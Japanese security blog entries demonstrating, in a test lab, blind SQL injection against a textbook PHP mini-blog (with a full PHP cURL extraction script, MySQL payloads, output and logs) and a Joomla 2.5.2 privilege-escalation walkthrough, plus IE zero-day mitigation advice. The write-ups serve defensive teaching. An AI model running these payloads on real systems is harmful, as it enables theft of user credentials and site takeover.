以前、「『よくわかるPHPの教科書』のSQLインジェクション脆弱性」というタイトルで、同書のSQLインジェクション脆弱性について説明しましたが、SQLインジェクション脆弱性のあるSQL文がDELETE FROMだったので、先のエントリでは、脆弱性の悪用方法としてはデータ(ミニブログの記事)の削除を説明しました。簡単に「全ての記事を削除できる」ので重大な脆弱性ではありますが、個人情報などが漏洩する例ではありませんでした。
このエントリでは、ブラインドSQLインジェクションという技法により、DELETE FROM文の脆弱性から、個人情報を得る手法を説明します。

脆弱性のおさらい

ここで、脆弱性のおさらいをしましょう。問題の箇所は同書P272のdelete.phpです。要点のみを示します。

$id = $_REQUEST['id']; // $id : 投稿ID
$sql = sprintf('SELECT * FROM posts WHERE id=%d', mysql_real_escape_string($id)
$record = mysql_query($sql) or die(mysql_error());
$table = mysql_fetch_assoc($record);
if ($table['member_id'] == $_SESSION['id']) { // 投稿者であれば削除
mysql_query('DELETE FROM posts WHERE id=' . mysql_real_escape_string($id)) or die(mysql_error());
}

ここには2つのSQL文が登場しますが、脆弱性があるのはDELETE FROMの方です。これがなぜ脆弱性なのかという理由については、先のエントリを参照ください。

情報漏洩の可能性はないのか?

前述のように、任意の記事を削除することは簡単にできてしまい、これ自体重大な問題ですが、「個人情報は漏洩するのか」という点に関心を持つ方も多いことでしょう。
一般論として、SQLインジェクション攻撃により情報を窃取する方法として下記があります。
  • UNION SELECTを用いる
  • エラーメッセージに情報を埋め込む
  • ブラインドSQLインジェクションを用いる
まず、UNION SELECTはこのケースでは使えません。UNION SELECTは、脆弱性のあるSQL文がSELECT文である場合に、別のテーブルと検索条件を追加することにより、本来表示されない情報を表示させる手法です。問題のケースでは元のSQL文がDELETE FROMなので、UNION SELECTは使えませんし、そもそも情報を表示する機能が元々ありません。

エラーメッセージを使う方法は、徳丸本でも説明しているものです。同書P121には下記の問い合わせにより、「本来表示されない情報」を表示させています。

cast((select id||':'||pwd from users offset 0 limit 1) as integer)

これは、表usersから、先頭の行を取り出し、列IDと列pwdを連結した文字列を数値にキャストしています。しかし、数値には変換できない文字が混ざっているために、以下のエラーメッセージが表示されています。

Query failed: ERROR: 型integerの入力構文が無効です: "yamada:pass1" in /var/wwww/44/44-001.php on line 7

しかし、MySQLの場合、上記と同じことをしてもエラーになりません。

mysql> select cast('yamada:pass1' as SIGNED );
+---------------------------------+
| cast('yamada:pass1' as SIGNED ) |
+---------------------------------+
| 0 |
+---------------------------------+
1 row in set, 1 warning (0.00 sec)

金床本では、load_file関数の「存在しないファイル名」としてエラーメッセージ中に、クエリ結果を混入させる手法が紹介されていますが、手元のMySQL5.1.63で試したところ、下記のようにエラーメッセージは表示されず、単にNULLが返りました。金床本のリファレンスとするMySQLは4.1.16なので、MySQLのバージョン違いによるものと思います。

mysql> select load_file('xxxx');    # xxxxは存在しないファイル名
+-------------------+
| load_file('xxxx') |
+-------------------+
| NULL |
+-------------------+
1 row in set (0.00 sec)

それでは、MySQLではエラーメッセージからの情報漏洩はできないのかというと、寺田さんのブログ記事「MySQLのエラーメッセージ」にその方法が載っています。MySQLのextractvalue関数を使う方法です。extractvalue関数は、XPATH式に従って文字列の切り出しをするものです。以下のように使います。

mysql> select extractvalue('<a><b>xss</b></a>', '/a/b');
+-------------------------------------------+
| extractvalue('<a><b>xss</b></a>', '/a/b') |
+-------------------------------------------+
| xss |
+-------------------------------------------+
1 row in set (0.00 sec)

extractvalue関数の第2引数はXPATH式を指定しますが、これが構文エラーの場合、以下のようにエラーになります。

mysql> SELECT extractvalue('<a><b>xss</b></a>', '/$this is a pen');
ERROR 1105 (HY000): XPATH syntax error: '$this is a pen'

これを用いて、情報を漏洩させることができます。'this is a pen'の代わりに、SQLの副問い合わせを指定すればよいことになります。下記に例を示します。

mysql> SELECT extractvalue('',concat('/$',(SELECT email FROM members LIMIT 1 OFFSET 0) ));
ERROR 1105 (HY000): XPATH syntax error: '$tokumaru@example.jp'

上記は、members表の1行目のemail列の値を副問い合わせで指定しており、「tokumaru@example.jp」を得ました。これを繰り返せば、任意表の、任意行、任意列を得ることができます。email列とpassword列を一度に得たければ、以下のようにします。

mysql> SELECT extractvalue('',concat('/$',(SELECT concat(email,':',password) FROM members LIMIT 1 OFFSET 0) ));
ERROR 1105 (HY000): XPATH syntax error: '$tokumaru@example.jp:5baa61e4c9b'

おっと、パスワードはSHA-1ハッシュ値(40文字)で格納されているのに、途中でちぎれていますね。$まであわせて32文字しか表示されないようです。これを回避するには、部分文字列の関数を用いて、何回かにわけて取得すればよいでしょう。具体例は割愛します。

さて、上記をSQLインジェクション攻撃に応用しましょう。email列の取得に戻りますが、mysql_real_escape_string関数が呼ばれているので、シングルクォートは攻撃に使えません。そのため、文字列はchar関数を使って指定します。

mysql> select char(65, 66, 67);
+------------------+
| char(65, 66, 67) |
+------------------+
| ABC |
+------------------+

先の、email列を取得するSQL文は下記となります。

mysql> select extractvalue(char(60),concat(char(47,36),(select email from members limit 1 offset 0)));
ERROR 1105 (HY000): XPATH syntax error: '$tokumaru@example.jp'

シングルクォートを使っていないので、mysql_real_escape_string関数を回避できますね。
これを副問い合わせの形で指定してやるわけですが、攻撃対象のスクリプトはSQL文を2回呼び出しており、1回目はSQLインジェクション脆弱性がなく、当該の文書IDの投稿者でないと、2回目のSQL文が呼び出されません。このため、このチェックを回避してやる必要があります。

SELECT * FROM posts WHERE id= 文書IDを数値化したもの
DELETE FROM posts WHERE id= 文書IDそのまま

1回目はsprintfの%d書式により、指定した文書IDは数値化され、2回目は数値化がありません。これを利用します。攻撃者が投稿した文書のIDが35だと仮定して、以下のように指定すればこのチェックを回避できます。文書IDとして下記を指定します。

35-(攻撃用副問い合わせ)

これを呼び出すと、1回目は数値化により-(引き算)以降が削除され、投稿者のチェックは通り抜けます。2回目は数値がないので、全体がSQL文として解釈されます。URLと実行結果を以下に示しましょう。

http://example.jp/minibbs/delete.php?id=35-(select+extractvalue(char(60),concat(char(47,36),(select+email+from+members+limit+1+offset+0))))


無事に(?)email列が表示できました。表名、列名、offset値を変更すれば、データベース内の任意の情報が取得できます。

ブラインドSQLインジェクション

SQLインジェクション攻撃により情報を窃取する第3の方法として、ブラインドSQLインジェクション攻撃があります。これは、クエリの結果が表示されない前提で、SQLインジェクションによりデータを盗みだす手法です。
ブラインドSQLインジェクションにも複数の方法があります。
  • 問い合わせ結果をファイルに書き出すSQL文等を使う
  • SQL文の実行結果から1ビットの情報を得て、それを繰り返す
MySQLの場合ファイルに書き出すには、SELECT ~ INTO OUTFILE構文が使えますが、私が試した範囲では、DELETE文にうまくはめこむことができませんでした。それに、書き出しができたとして、それを取り出す手段が別途必要です。簡単なのは、Webの公開領域に書き込むという方法ですが、MySQLの実行権限ではApacheのドキュメントルートに書き込むことはできない場合が多いと考えられます。PHPのセッションファイルが/tmp/ (など誰でも書き込めるディレクトリ) に置かれる場合、PHPのセッション形式にあわせて書き込んでおくという方法もありますが、このミニブログの場合、セッションの中味をそのまま表示する箇所がなさそうです。つまり、うまくいきません。

そこで、SQL文の問い合わせから1ビットの情報を取り出す手段を考えます。具体的には下記があります。
  • 実行の時間差を使う
  • データの更新・削除の成功・失敗を使う
  • レスポンスのステータスの違い(200と500等)を使う
  • SQL文からping等通信手段を呼び出す
  • SQL文の実行エラーを使う(厳密なブラインドではない)
実行の時間を使うには、MySQLのsleep関数が利用できます。以下は、members表の1行目、email列の1文字目が'a'であれば3秒待つ問い合わせ。実際には't'なので、直ちにnullが返ります。

mysql> SELECT if(substr((SELECT email FROM members LIMIT 1 OFFSET 0),1,1) = 'a',sleep(3),null);
+----------------------------------------------------------------------------------+
| if(substr((SELECT email FROM members LIMIT 1 OFFSET 0),1,1) = 'a',sleep(3),null) |
+----------------------------------------------------------------------------------+
| NULL |
+----------------------------------------------------------------------------------+
1 row in set (0.01 sec)

以下は、同じく一文字目が't'であれば3秒待つ問い合わせ。't'なので約3秒待っていますね。

mysql> SELECT if(substr((SELECT email FROM members LIMIT 1 OFFSET 0),1,1) = 't',sleep(3),null);
+----------------------------------------------------------------------------------+
| if(substr((SELECT email FROM members LIMIT 1 OFFSET 0),1,1) = 't',sleep(3),null) |
+----------------------------------------------------------------------------------+
| 0 |
+----------------------------------------------------------------------------------+
1 row in set (3.02 sec)

これは理論的には正しく動きますが、容易に想像されるように膨大な時間がかかるので、「最後の手段」という感じになります。

また、副問い合わせを調節して、条件が成立すれば削除、しなければ削除しない、というSQL文も書けますが、削除できたかどうかを問い合わせるリクエストと、削除した行を「補充する」リクエストが余分に必要です。
ということで、ここでは完全なブラインドではありませんが、エラーメッセージを使うことにします。
といっても、先のextractvalue関数を使うとブラインドにする意味がないので、ここではESCAPE句を使うことにします。
ESCAPE句というのは、SQL文のLIKE述語において、ワイルドカード文字「%」や「_」をエスケープする文字を指定する手段です。以下は、#をエスケープ文字として指定して、%を含む行を問い合わせるSQL文です。

mysql> SELECT * FROM members WHERE email LIKE '%#%%' ESCAPE '#';
Empty set (0.00 sec)

ESCAPE句に指定する文字は1文字でなければならず、それ以外はエラーになります。

mysql> SELECT * FROM members WHERE email LIKE '#%' ESCAPE '##';
ERROR 1210 (HY000): Incorrect arguments to ESCAPE

これを利用して、1ビットの情報を得ることができます。

先ほどと同様に、一文字目が 'a' かどうかを問い合わせて、'a'ではないので、ESCAPE句が 'AB' (2文字)となり、エラーとなる例。

mysql> SELECT id FROM members WHERE id LIKE 'X' ESCAPE if(substr((SELECT email FROM members LIMIT 1 OFFSET 0),1,1) = 'a', 'A','AB');
ERROR 1210 (HY000): Incorrect arguments to ESCAPE

先ほどと同様に、一文字目が 't' かどうかを問い合わせて、真なので、ESCAPE句が 'A' (1文字)となり、エラーにはならない例。

mysql> SELECT id FROM members WHERE id LIKE 'X' ESCAPE if(substr((SELECT email FROM members LIMIT 1 OFFSET 0),1,1) = 't', 'A','AB');
Empty set (0.00 sec)

これを何回も繰り返すことにより、テーブルの内容を盗み出すことができます…が、さすがに人手でやるのは苦行なので、スクリプトでやります。

…ということで、実は今までは長い前置きで、ここからが本題ですw ブラインドSQLインジェクション攻撃のスクリプトをPHPで書いてみましょう。

ブラインドSQLインジェクションのPHPスクリプト

攻撃対象とはHTTPで接続するので、適当なHTTP接続ライブラリが必要になりますが、ここではcURL関数を使いました。前にphpMyAdminのexploitで使っていたので、試してみたかっただけです。

スクリプトの中味ですが、攻撃対象は認証が必要ですので、Cookieを有効にして、IDとパスワード(攻撃用の捨てアカウント)をPOSTします。

<?php
define('BASEURL', 'http://192.168.0.10');
define('DOCID', 18); // 攻撃者が投稿した文書のID
// 略
// cURL初期化
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');

// 以下、ログイン
curl_setopt($ch, CURLOPT_URL, BASEURL . '/minibbs/login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'email=sato@example.jp&password=password&save=on');
curl_exec($ch);

この状態で、sato@example.jpでログインしてリクエストができるようになります。
攻撃で得る情報は、members表のemailとpassword列にしましょう。これらの文字種は、英数字、ドット、ハイフン、アンダースコアとして、これらの文字の集合を求めましょう。バイナリサーチの都合で文字コード順に並べておきます。

// $chars .. 探索候補文字のコードの配列
$chars = array();
for ($ch = 32; $ch < 128; $ch++) {
if (preg_match('/[\.\-\_\@0-9A-Z]/', chr($ch))) {
$chars[] = $ch;
}
}

探索のループは以下のようになります。行、列、n文字目の三重ループがあり、そのなかで、おおまかな範囲を二分探索で絞り、そこからリニアサーチで該当文字を求めています。

// 表の1行目から3行目を求めるループ
for ($num = 0; $num < 3; $num++) {
// 列emailと列passwordを求めるループ
foreach (array('email', 'password') as $colname) {
$result = '';
// 1文字目から順に求めるループ
for ($p = 1;; $p++) {
// 解が得られているかどうかのチェック
$result_array = char_array($result);
if (check1($ch, "(SELECT $colname FROM members LIMIT $num,1)=$result_array")) {
echo "match : $result\n"; // 解が得られているので表示してループ脱出
break;
}
// 以下、$p文字目を求める二分探索。ここでは大ざっぱな範囲の絞り込みのみ
$min = 0;
$max = count($chars) - 1;
while ($max - $min > 2) {
$pivot = $min + ceil(($max - $min) / 2); // ピボットの位置を計算
$chrcode = $chars[$pivot]; // ピボットの位置の文字コード
if (check1($ch, "substr((SELECT $colname FROM members LIMIT $num,1),$p,1)>=char($chrcode)")) {
$min = $pivot;
} else {
$max = $pivot - 1;
}
}

// 以下、$p文字目を求める線形探索
$found = 0;
for ($pivot = $min; $pivot <= $max; $pivot++) {
$chrcode = $chars[$pivot];
if (check1($ch, "substr((SELECT $colname FROM members LIMIT $num,1),$p,1)=char($chrcode)")) {
$found = 1;
break;
}
}
if (! $found) {
echo "not found\n";
break;
}
$result .= chr($chars[$pivot]);
}
}
}

check1関数は、ブラインドSQLインジェクションの一リクエストを組み立てて送信するものです。
function check1($ch, $condition) {
// ESCAPE句によるブラインドの定型的なSQL文
$subquery = "(SELECT id FROM members WHERE id LIKE char(88) ESCAPE if($condition,char(49),char(49,50)))";
$url = BASEURL . '/minibbs/delete.php?id=' . DOCID . '-' . urlencode($subquery);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 0);
$response = curl_exec($ch); // HTTPリクエスト発射
return ! preg_match('/Incorrect/', $response); // エラーメッセージがレスポンスになければTRUE
}
また、char_array()関数は、文字列をMySQLのchar()関数の呼び出しに変換して、シングルクォートを回避するための関数です。

function char_array($s) {
if ($s === '')
return 'char(0)';
return 'char(' . implode(',', unpack('C*', $s)) . ')';
}

実行結果を以下に示します。1行あたり1秒程度で求められていますから、結構実用的ですね。
$ time php blindsqlinjection.php
match : TOKUMARU@EXAMPLE.JP
match : 5BAA61E4C9B93F3F0682250B6CF8331B7EE68FD8
match : SATO@EXAMPLE.JP
match : 5BAA61E4C9B93F3F0682250B6CF8331B7EE68FD8
match : YAMADA@EXAMPLE.JP
match : 5BAA61E4C9B93F3F0682250B6CF8331B7EE68FD8

real 0m2.977s
user 0m0.004s
sys 0m0.508s

高速化するためには、クエリを並列化すればよいでしょう。一番外側のループをスレッド(あるいはプロセス)に割りあてて並行処理させると高速化できます。ただし、サーバーに負荷がかかり、ばれやすくなりますので、むしろゆっくり時間を掛けて攻撃した方がよいかもしれません(攻撃するなよ、絶対するなよ)。
サーバーのログを見ると、以下のようなリクエストが並びます。

192.168.0.11 - - [20/Dec/2012:13:18:47 +0900] "GET /minibbs/delete.php?id=18-%28SELECT+id+FROM+members+WHERE+id+LIKE+char%2888%29+ESCAPE+if%28substr%28%28SELECT+password+FROM+members+LIMIT+2%2C1%29%2C40%2C1%29%3E%3Dchar%2872%29%2Cchar%2849%29%2Cchar%2849%2C50%29%29%29 HTTP/1.1" 200 29
192.168.0.11 - - [20/Dec/2012:13:18:47 +0900] "GET /minibbs/delete.php?id=18-%28SELECT+id+FROM+members+WHERE+id+LIKE+char%2888%29+ESCAPE+if%28substr%28%28SELECT+password+FROM+members+LIMIT+2%2C1%29%2C40%2C1%29%3E%3Dchar%2856%29%2Cchar%2849%29%2Cchar%2849%2C50%29%29%29 HTTP/1.1" 302 -
192.168.0.11 - - [20/Dec/2012:13:18:47 +0900] "GET /minibbs/delete.php?id=18-%28SELECT+id+FROM+members+WHERE+id+LIKE+char%2888%29+ESCAPE+if%28substr%28%28SELECT+password+FROM+members+LIMIT+2%2C1%29%2C40%2C1%29%3E%3Dchar%2867%29%2Cchar%2849%29%2Cchar%2849%2C50%29%29%29 HTTP/1.1" 200 29
192.168.0.11 - - [20/Dec/2012:13:18:47 +0900] "GET /minibbs/delete.php?id=18-%28SELECT+id+FROM+members+WHERE+id+LIKE+char%2888%29+ESCAPE+if%28substr%28%28SELECT+password+FROM+members+LIMIT+2%2C1%29%2C40%2C1%29%3E%3Dchar%2864%29%2Cchar%2849%29%2Cchar%2849%2C50%29%29%29 HTTP/1.1" 200 29
192.168.0.11 - - [20/Dec/2012:13:18:47 +0900] "GET /minibbs/delete.php?id=18-%28SELECT+id+FROM+members+WHERE+id+LIKE+char%2888%29+ESCAPE+if%28substr%28%28SELECT+password+FROM+members+LIMIT+2%2C1%29%2C40%2C1%29%3Dchar%2856%29%2Cchar%2849%29%2Cchar%2849%2C50%29%29%29 HTTP/1.1" 302 -
192.168.0.11 - - [20/Dec/2012:13:18:47 +0900] "GET /minibbs/delete.php?id=18-%28SELECT+id+FROM+members+WHERE+id+LIKE+char%2888%29+ESCAPE+if%28%28SELECT+password+FROM+members+LIMIT+2%2C1%29%3Dchar%2853%2C66%2C65%2C65%2C54%2C49%2C69%2C52%2C67%2C57%2C66%2C57%2C51%2C70%2C51%2C70%2C48%2C54%2C56%2C50%2C50%2C53%2C48%2C66%2C54%2C67%2C70%2C56%2C51%2C51%2C49%2C66%2C55%2C69%2C69%2C54%2C56%2C70%2C68%2C56%29%2Cchar%2849%29%2Cchar%2849%2C50%29%29%29 HTTP/1.1" 302 -

まとめ

『よくわかるPHPの教科書』の脆弱性のあるサンプルを題材として、SQLインジェクション攻撃により個人情報を窃取する方法を説明しました。善良な皆様が攻撃方法を深く理解する必要はないわけですが、ここに示すような手法を駆使して、攻撃者は情報をとっていくという、その様子を理解いただければ幸いです。
当然ながら、インターネット上のサイトにこの種の攻撃をかけると、不正アクセス禁止法その他の法令違反ですので、試験環境での実験にとどめて下さい。

Joomla2.5.2の権限昇格脆弱性

$
0
0
このエントリでは、Joomla!2.5.2まで(1.6.x、1.7.xも含む)に存在した権限昇格の脆弱性について説明します。 

今年5月16日に、情報通信研究機構(NICT)から以下のプレスリリースがありました。
1. 事案の概要
発生時間:
2012年5月1日14時18分~17時17分
発生場所:
研究者の情報交換のためNICT が外部公開用に設置しているWebサーバ
http://mastarpj.nict.go.jp/
サービス概要:
本Webサーバには、主に過去に開催した音声翻訳関連の研究に関する会議の情報が保存され、Webで公開するために稼働させていました。(現在は運用を停止)
2. 被害の状況
  • 上記Webサーバのトップページ(index.html)が改ざんされました。
  • 会議参加者等に係る個人情報は当該Webサーバ上にはなく、個人情報の流出はありません。
  • 詳細なアクセス解析等の結果、当該Webサーバ以外のNICTのサーバへの侵入は認められませんでした。
  • 改ざんされたトップページには、マルウェア(不正プログラム)や他の不正サイトへ誘導するリダイレクトコードの挿入等は認められませんでしたので、当該ページにアクセスされた一般ユーザの方への二次被害はありません。
http://www.nict.go.jp/info/topics/2012/05/announce120516.html
あのNICTが侵入されたということで一部で衝撃が走った(大げさ?)ようですが、NICTのオフィシャルホームページではなく、研究者が独自に設置したサイトが攻撃を受けてしまったようですね。
原因については下記のように説明されました。
3. 直接的な原因
当該Webサーバにおいて使用していたコンテンツマネジメントシステム(CMS)Joomla!2.5.1では、研究者の情報交換が円滑に行われるよう、一般ユーザ権限のアカウントを管理者のチェックなしに取得できる設定※1としていましたが、その取得の際に不正な情報を入力すること等によって一般ユーザ権限のアカウントが管理者権限のアカウントに昇格されるという脆弱性をもっていました。
このため、CMSの管理者権限のアカウントが不正に取得され、そのアカウントを用いてトップページが改ざんされました。
なお、最新※2バージョンのJoomla! 2.5.4では、今回の不正なアクセスに係る脆弱性は解消されておりますが、当該Webサーバにおいてはバージョンアップを怠っていたものです。
※1 アカウント登録方法を "Self " に設定
※2 平成24年5月15日現在
NICT は、この度の事案を重く受け止め、事実関係の調査で得られた結果を踏まえ、再発防止のための対策を講じ、更なるセキュリティ強化に取り組んでまいります。
http://www.nict.go.jp/info/topics/2012/05/announce120516.html
Joomla!2.5.1には存在し、Joomla!2.5.4では改修されている脆弱性を探したところ、以下が該当するようです。
[20120303] - Core - Privilege Escalation
中味を見ても、たいしたことは書いておらず、ネットをさらに調べたところ、以下に詳細が書いてありました。
Jeff Channell | Joomla! 1.6/1.7/2.5 Privilege Escalation Vulnerability | Joomla! | jeffchannell.com
この権限昇格の攻撃方法はまことに興味深いものです。以下、上記のエントリの内容に従い、Joomla! 2.5.2の攻撃方法とその原因、対策について説明します。

攻撃方法

まず、試験環境について説明します。Joomla!2.5.1(侵入されたNICTと同じバージョン)の管理コンソールです。左下に「Joomla! 2.5.7を今すぐアップデート」と見えていますが、アップデートすると脆弱性を試せないので、このままログアウト(退出ボタン)します。


これから先は、攻撃者の視線です。Joomla!の画面左下に、「アカウントの作成」と言うリンクが見えます。これは、一般ユーザとしてコミュニティに参加するための機能でしょうね。設定により禁止することもできますが、侵入されたサイトでは、研究者が自らユーザ登録するようにしていたようです。


 「アカウントの作成」リンクをクリックして、下記のように入力します。

 ここで、画面上では見えませんが、「パスワードの再入力」をわざと間違っておきます。ここでは、パスワードをそれぞれevil1、evil2としています。
ここから、登録ボタンを押すのですが、その際にパラメータを1つ追加する必要があります。方法はなんでもよいのですが、ここではBurp Suiteを使って追加します。

 画面の下に見えるように、「&jform[groups][]=7」は後から追加したものです。後はそのまま流します。

 パスワードが一致していないというエラーメッセージが表示されるので、今度は同じパスワードを入力して登録ボタンをクリックします。
ここから、管理画面に遷移して、今登録したevil(一般ユーザのはず)でログインしてみましょう。

攻撃者は、先ほど登録したユーザ名とパスワードを入力して、ログインボタンをクリックします。すると、管理者権限がないはずなのに、管理者としてログインできてしまいます。

ユーザメニューから、自らの権限を確認しましょう。

 evilユーザは、「システム管理者」の権限があります。これは2番目に強い権限です。最高の権限は「最高管理者」ですが、システムに一人しかいないので、新たに追加はできません。
攻撃者は、管理者権限を得ることができましたので、Joomla!のCMSとしての機能を悪用して、サイト改ざんができることになります。

脆弱性の原因

ここまで見た攻撃方法は、入力パラメータに権限の指定を追加するところは、「ありがち」なものですが、単にそうしただけでは駄目で、最初にパスワードの入力を不整合にしないと攻撃が成立しないところが面白いですね。

Joomla!2.5.2と2.5.3の該当箇所の差分を見ると、以下のようになっています。


components/com_users/models/registration.php getData() 関数内

2.5.2: $this->data->groups = isset($this->data->groups) ? array_unique($this->data->groups) : array();
2.5.3: $this->data->groups = array();

2.5.3では、groupsプロパティを強制的に空にしたようですね。これは対症療法ですので、根本原因はここではありません。
この少し上を見ると、以下の処理があります。


 $temp = (array)$app->getUserState('com_users.registration.data', array());
foreach ($temp as $k => $v) {
$this->data->$k = $v;
}

これは、セッションに保存した内容をすべて$this->dataに追加しています。匂いますね。このセッション変数をセットしている箇所はどこでしょうか。幸い、com_users.registration.dataというラベルがついているので、探索は容易です。以下の箇所でセットしていました。registrationのコントローラですね。


components/com_users/controllers/registration.php register()関数

$data = $model->validate($form, $requestData);
// Check for validation errors.
if ($data === false) {
// Save the data in the session.
$app->setUserState('com_users.registration.data', $requestData);
// Redirect back to the registration screen.
$this->setRedirect(JRoute::_('index.php?option=com_users&view=registration', false));
return false;
// 中略
// バリデーションが正常の場合
// Flush the data from the session.
$app->setUserState('com_users.registration.data', null);

ご覧のように、バリデーションのエラーになった場合、リクエストのデータをすべてセッションに放り込んでいます。バリデーションが正常の場合は、セッションにはnullをセットしているので、これはおそらくデータの再入力画面を表示するための処理でしょうね。
すなわち、以下の経路で、不正に指定した権限がセットされてしまったようです。
  1. パスワードをわざと不整合にしておく
  2. ユーザ登録時に jforms[groups][]=7 をPOSTパラメータに追加
  3. パリデーションでエラー発生
  4. 再入力に備えてリクエストのパラメータをすべてセッションに保存(コントローラ)
  5. モデル側で、セッションの中味をすべて取り込み
  6. 2.で追加したgroupsが取り込まれる
これに対して、Joomla! 2.5.3では、強制的に権限パラメータ(groups)を空にするという対処がなされましたが、いかにも対症療法ですね。
本来は、コントローラーからセッションに取り込む際に、「来たものをすべて取り込む」のではなく、「セッションに保存するパラメータのみを明示的に指定して取り込む」ようにすべきです。

対策

Joomla!ユーザがとるべき対処は、Joomla!の最新版へのバージョンアップです。冒頭の管理画面で、「Joomla! 2.5.7を今すぐアップデート」というボタンが見えていました。思い切って、このボタンをクリックしてみましょう。


上記の画面が表示されるので、Joomlaの行をチェックして、「更新」ボタンをクリックします。数分すると、以下の画面が表示されます。



あれあれ、Joomla!の2.5.7を導入するはずが、2.5.8が導入されています。このあたり、ちょっとゆるい感じですが、最新版は2.5.8ですのでよいことにしましょう。

最新版で攻撃を試す

念のため、この最新版で先ほどと同じ攻撃をしてみましょう。途中の過程は省略しますが、登録したユーザ(evil2)で管理者ログインしようとすると、以下のようにエラーになります。


大丈夫のようですね。念のため、正規の管理者でログインして、ユーザ一覧を確認します。

evil2は「登録ユーザ」のみで、管理者権限はありません。確かに、攻撃は成立していないようですね。

まとめ

Joomla! 2.5.2までに存在した権限昇格の脆弱性([20120303] - Core - Privilege Escalation)について説明しました。
この脆弱性を確認するために初めてJoomla!を導入しましたが、とても簡単に導入できることに驚きました。Joomla!が簡単に使えて、高機能なために人気があるというのはよく分かります。しかし、一方で脆弱性が多く発見されており、攻撃対象として狙われているため、Joomla!を導入する場合は、常に最新版にアップデートしないと危険です。

もしも、継続的なアップデート作業が難しいと言う場合は、自らJoomla!を導入するのではなく、適当なサービスをユーザとして使うことも検討すべきだと考えます。

IE6,7,8のゼロデイ脆弱性(CVE-2012-4792)の対処法

$
0
0
昨年末に、Internet Explorer(IE)のゼロデイ脆弱性(CVE-2012-4792)が発表されました。既にこの脆弱性を悪用した攻撃が観察されているということですので、緊急の対応を推奨します。

概要は、Microsoft Security Advisory (2794220)にまとめられていますが、英文ですので、JVNのレポート「JVNVU#92426910 Internet Explorer に任意のコードが実行される脆弱性」をご覧になるとよいでしょう。

影響を受けるシステム:
  • Internet Explorer 6
  • Internet Explorer 7
  • Internet Explorer 8

想定される影響:
細工された HTML ドキュメントや Office ファイル等を閲覧することで、任意のコードが実行される可能性があります。

対策方法:
2012年12月31日現在、対策方法はありません。

対策方法がないということですので、IE9以降を使うか、IE以外のブラウザを使うことで回避しましょう。IE6~IE8を使う場合に、Enhanced Mitigation Experience Toolkit (EMET)を適用するなどの緩和策も紹介されていますが、EMETの設定などが今のところ示されていないことと、どこまで攻撃を緩和してくれるのか不明なので、対策パッチが出るまで下記の回避策を実施するのが良いと考えます。

追記(2013/1/9): EMETによる回避策の有効性が分かってきましたので、その設定方法を「EMET3.5でIEを防御する(CVE-2012-4792)」にまとめました。

Windows XP、Windows Server 2003ユーザ

Windows XPとWindows Server 2003にはIE9を導入できないので、IE以外のブラウザとしてGoogle Chrome、Firefox、Operaなど別のブラウザの使用を推奨します。Windows版Safariについては致命的な脆弱性があり、アップデートの予定もないことから、使用停止の勧告が既に出ています(JVN#42676559)。

追記(2013/1/8)
合同会社セキュリティ・プロフェッショナルズ・ネットワークの塩月誠人さんから、IE以外のブラウザという表記についてご指摘をいただきました。見かけ上IE以外の名称のブラウザであっても、IEエンジンを使用しているブラウザの場合、IEと同様の影響を受けます。塩月氏によると、以下のブラウザで当該脆弱性の影響を確認しているとのことです。
例)
Lunascape 6 (Tridentレンダリングエンジン)
Sleipnir 3 (IE互換モード)
Firefox + IE Tab2
Chrome + IE Tab
ご指摘の通りです。塩月さん、ありがとうございました。
(追記終わり)


この機会にWindows 8(あるいはWindows 7)への移行を検討するのもよいでしょう。

Windows Vista、Windows 7、Windows Server 2008(R2含む)ユーザ

IE9では当該脆弱性の影響を受けないとされていますので、IE9に移行することで脆弱性を回避できます。
あるいは、IE以外のブラウザ(Google Chrome、Firefox、Opera)を使うことも有力な回避策です。
普段IEを使っていない方も、この機会にIE9に移行しておきましょう。

Windows 8、Windows Server 2012ユーザ

Windows 8とWindows Server 2012には元々IE10がインストールされているので、当該脆弱性の影響は受けないと考えられます。

まとめ

IEのゼロデイ脆弱性(CVE-2012-4792)の対処方法について、Windowsのバージョンごとに紹介しました。対策パッチが出て適用するまでは、IE6~IE8は使用禁止にするしかなさそうです。
前述のとおり、Windows版Safariには致命的な脆弱性があり、アップデートの予定もないことから、使用停止の勧告が昨年の10月23日に出ています(JVN#42676559)。
現在休暇中の企業・団体が多いと思いますので、休暇明けの即座の展開を推奨します。

追記(2012/1/2 12:30)

Microsftからこの脆弱性に対するFix itが公開されました。Fix itとは、セキュリティ問題を含むさまざまな現象に対して、設定変更による解決を簡便に実施するためのプログラムです。
CVE-2012-4792に対しては、Shimというものを使った回避策を提供するFix itのようです。


あくまでも回避策であって、Fix itの説明にも下記のように説明されています。
The Fix it solution that is described in this section is not intended to be a replacement for any security update. We recommend that you always install the latest security updates. However, we offer this Fix it solution as a workaround option for some scenarios.
http://support.microsoft.com/kb/2794220
試訳
このセクションに記載したFix itソリューションは、セキュリティ更新プログラムの代替として意図したものではありません。常に最新のセキュリティ更新プログラムをインストールすることをお勧めします。しかしながら、いくつかのシナリオに対する回避策のオプションとして、このFix itソリューションを提供するものです。
ということで、回避策として有効ではあるのでしょうが、すべての脅威を取り除くことまでは期待できないようです。なんらかの理由で、IE6~IE8を残したままにしている環境では、このFix itを導入するとよいでしよう。
Fix itを導入するには、先のページにて以下のアイコンの箇所を探します。


左側が、この問題の回避策のFix ix、右側がそれを解除するためのFix itです。すなわち、通常は左側のみを導入することに注意してください。よくわからないからと両方導入してしまうと、Fix itを導入して、即座に解除することになってしまいます。

結論としては、IE6~IE8の導入された環境にはこのFix itを導入するとよいと思いますが、インターネット利用の際には、IE以外のGoogle Chrome、Firefox、Opera等を利用することを、引き続き推奨します。

Ruby on Railsのfind_by_*メソッドにSQLインジェクション脆弱性(CVE-2012-5664)

$
0
0
Ruby on Rails(3.2.9, 3.1.8, 3.0.17以前)のfind_by_*メソッドにSQLインジェクション脆弱性が見つかりました(CVE-2012-5664)。このエントリではその概要と対策について説明します。

概要

Ruby on Railsのfind_by_*メソッドの引数としてハッシュを指定することで、任意のSELECT文を実行できる脆弱性があります。

検証

Ruby on Rails3.2.9の環境を用意して、以下の2つのモデルを用意しました。
$ rails g scaffold user name:string email:string
$ rails g scaffold book author:string title:string
